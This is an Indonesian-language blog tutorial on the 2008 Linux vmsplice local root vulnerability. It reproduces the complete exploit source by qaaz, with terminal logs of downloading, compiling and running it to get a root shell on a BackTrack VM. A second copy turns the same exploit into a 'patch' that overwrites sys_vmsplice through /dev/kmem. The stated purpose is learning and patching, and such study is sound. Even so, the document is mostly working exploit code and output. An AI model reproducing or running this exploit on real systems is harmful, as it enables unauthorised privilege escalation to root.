Tambal Ban yang Bocor

Tujuan artikel ini untuk pembelajaran bagaimana melakukan local exploit .... lalu kita mempatching pada VMSPLICE , vmsplice ini sungguh mengejutkan saya karena dengan bug ini saya bisa eksekusi lalu dapat id superuser, berikut penelurusannya ...

Saya menginstall backtrack dengan emulator vmware sebagai ujicoba.

bt ~ $ uname -a ;id ; w
Linux bt 2.6.21.5 #2 SMP Sat Aug 25 19:01:21 GMT 2007 i686 Intel(R) Pentium(R) 4 CPU 3.00GHz GenuineIntel GNU/Linux
uid=1000(iqbal) gid=100(users) groups=100(users)
13:05:42 up 1:48, 2 users, load average: 0.15, 0.03, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 11:18 1:42m 0.55s 0.55s -bash
iqbal pts/0 192.168.219.1 11:23 1.00s 0.18s 0.02s w

SOurce Exploit

/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don't remeber original intent of all
* the code, so I'm not 100% sure about it. You've been warned ;)
*
* -static -Wno-format
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define __KERNEL__
#include

#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)

struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};

void exit_code();
char exit_stack[1024 * 1024];

void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif

#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}

exit_kernel();
}

void exit_code()
{
if (getuid() != 0)
die("wtf", 0);

printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}

int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");

if (!uid || !gid)
die("!@#$", 0);

/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);

pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;

/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);

pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;

/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);

/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);

/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);

iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;

signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}

// milw0rm.com [2008-02-09]

bt ~ $ wget http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c
--13:16:44-- http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c
=> `27704.c'
Resolving downloads.securityfocus.com... 205.206.231.23
Connecting to downloads.securityfocus.com|205.206.231.23|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,264 (6.1K) [text/plain]

100%[==================================================================================>] 6,264 23.51K/s

13:16:47 (23.42 KB/s) - `27704.c' saved [6264/6264]

bt ~ $ gcc -o 27704 27704.c
bt ~ $ ./27704
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7da5000 .. 0xb7dd7000
[+] root
bt ~ # id ; uname -s ;w
uid=0(root) gid=0(root) groups=100(users)
Linux
13:17:13 up 2:00, 2 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 11:18 1:54m 0.55s 0.55s -bash
iqbal pts/0 192.168.219.1 11:23 0.00s 0.24s 0.26s sshd: iqbal [priv]

Dapat Akar ......

Source Patching


/*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*/

#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define __KERNEL__
#include

#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)

struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};

void exit_code();
char exit_stack[1024 * 1024];

void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif

#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}

exit_kernel();
}

void de_exploit()
{
char line[4096];
FILE* ksyms = fopen("/proc/kallsyms", "r");
size_t address = 0;

if(!ksyms)
{
perror("Could not open /proc/kallsyms");

exit(EXIT_FAILURE);
}

while(fgets(line, sizeof(line), ksyms))
{
if(strstr(line, " sys_vmsplice"))
{
sscanf(line, "%zx", &address);

break;
}
}

if(!address)
{
fprintf(stderr, "Address not found\n");

exit(EXIT_FAILURE);
}

int fd = open("/dev/kmem", O_RDWR);

if(fd == -1)
{
perror("open(\"/dev/kmem\")");

exit(EXIT_FAILURE);
}

char* map = mmap(0, 0x200000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, address & ~0xFFF);

if(map == MAP_FAILED)
{
perror("mmap");

exit(EXIT_FAILURE);
}

map[address & 0xfff] = 0xc3; /* 0xC3 = RET */

fprintf(stderr, "Exploit gone!\n");

exit(EXIT_SUCCESS);
}

void exit_code()
{
if (getuid() != 0)
die("wtf", 0);

printf("[+] root\n");
de_exploit(); // mortehu
//putenv("HISTFILE=/dev/null");
//execl("/bin/bash", "bash", "-i", NULL);
//die("/bin/bash", errno);
}

int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");

if (!uid || !gid)
die("!@#$", 0);

/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);

pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;

/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);

pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;

/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);

/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);

/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);

iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;

signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}


$ wget http://forums.ubuntu.com.my/forumfiles/disable-vmsplice-if-exploitab
--13:18:42-- http://forums.ubuntu.com.my/forumfiles/disable-vmsplice-if-exploitable.c
=> `disable-vmsplice-if-exploitable.c'
Resolving forums.ubuntu.com.my... 66.33.209.35
Connecting to forums.ubuntu.com.my|66.33.209.35|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8,104 (7.9K) [text/plain]

100%[==================================================================================>] 8,104 17.95K/s

bt ~ $ gcc -o patch disable-vmsplice-if-exploitable.c
bt ~ $ ./patch
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e58000 .. 0xb7e8a000
[+] root
Exploit gone!

jalanin kembali local exploit

bt ~ $ ./27704
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7db1000 .. 0xb7de3000
[-] vmsplice

bt ~ $ id ; uname -a ; w
uid=1000(iqbal) gid=100(users) groups=100(users)
Linux bt 2.6.21.5 #2 SMP Sat Aug 25 19:01:21 GMT 2007 i686 Intel(R) Pentium(R) 4 CPU 3.00GHz GenuineIntel GNU/Linux
13:21:02 up 2:04, 2 users, load average: 0.01, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 11:18 1:58m 0.55s 0.55s -bash
iqbal pts/0 192.168.219.1 11:23 0.00s 0.27s 0.02s w

berhasil patching deh ..

Tidak ada cinta bila tidak ada kebebasan dan pada hakekatnya kebebasan itu tidak dapat diperintah atau dikuasai. Permusuhan dan perselisihan mungkin disebabkan oleh benih kebaikan serta kebebasan yang seharusnya tumbuh tapi terhalang oleh kesempitan dunia. Cintalah yang memungkinkan kebebasan itu berkembang karena cinta adalah kemurahan hati, yang selalu siap memaafkan. Kebencian adalah sia-sia. (Sindhunata)

sumber : milw0rm
http://forums.ubuntu.com.my

ternyata explorasi saya berhasil ... indahnya .......

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